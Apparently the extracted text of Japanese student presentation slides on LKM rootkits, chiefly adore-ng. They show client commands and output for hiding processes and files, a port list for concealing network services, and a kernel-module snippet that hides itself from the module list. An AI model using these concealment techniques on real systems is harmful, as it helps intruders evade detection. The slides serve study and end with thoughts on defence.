rootkit

最終発表
ー不正アクセスについてー
環境情報学部3年
櫻井美帆
不正アクセス
役立つツールがrootkit
rootkit
ログインの記録を書き換える機能
 コマンドファイルの置き換えや改竄
 ネットワークスニファ
 バックドア

などのツールがまとめられている
LKM rootkit
コマンドバイナリを改竄する必要がない
ーファイルの整合性検査を回避できる

カーネル自身を操作する
ー正しい情報の取得が困難。発見も困難。

LKMRootkit
正常なプロセス
システムコール
コマンドバイナリ
正常な情報
コマンドバイナリ
偽りな情報
ファイルシステム
Rootkitだと…
システムコール
ファイルシステム
改ざんした偽のコマンドバイナリ
LKMRootkitだと…
システムコール
コマンドバイナリ
ファイルシステム
Kernelレベルで乗っ取る
偽りな情報
LKM rootkit
・adore
・adore-ng
・knark
adore-ng
Stealth氏によって開発されたLKMrootkit
 主にLKM本体のadore-ng.oとクライアント
プログラムのavaから構成されている

主な機能

process/ファイル/ネットワークなどの隠蔽

自分自身の隠蔽

ローカルバックドア
processの隠蔽
オプションで“i”をつけることにより隠蔽すること
ができる
# ps –efww|grep emacs
Root 16863 1 0 Des12 ? 00:00:03 emacs –display 172.16.10.10:0.0
# ./ava i 16863
Checking for adore-ng or higher …
adore-ng installed. Good luck.
made PID 16863 invisible
# ps –ef | grep emacs
#
ファイルの隠蔽
ファイルも同様にオプションで“h”をつけること
により隠蔽することができる
#./ava h xxxx
ネットワーク接続の隠蔽
netstatコマンドの出力結果から、事前に設定して
おいたサービス名、またはポート番号が含まれる
行を除去することでネットワークサービスの隠蔽を
行っている。
u_short HIDDEN_SERVICES[] =
{2222, 7350, 0};
自分自身の隠蔽
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/string.h>
int init_module(){
if (__this_module.next)
__this_module.next = __this_module.next->next;
return 0;
}
int cleanup_module(){
return 0;
}
まとめ
・ ハードウェアに近づけば近づくほど
見つけるのが困難となる。
・ 正常な状態を覚えておいて悪いところを発
見するのは困難。
・ メモリー空間上の書き換えを制限するような
仕組みをつくればよいのでは?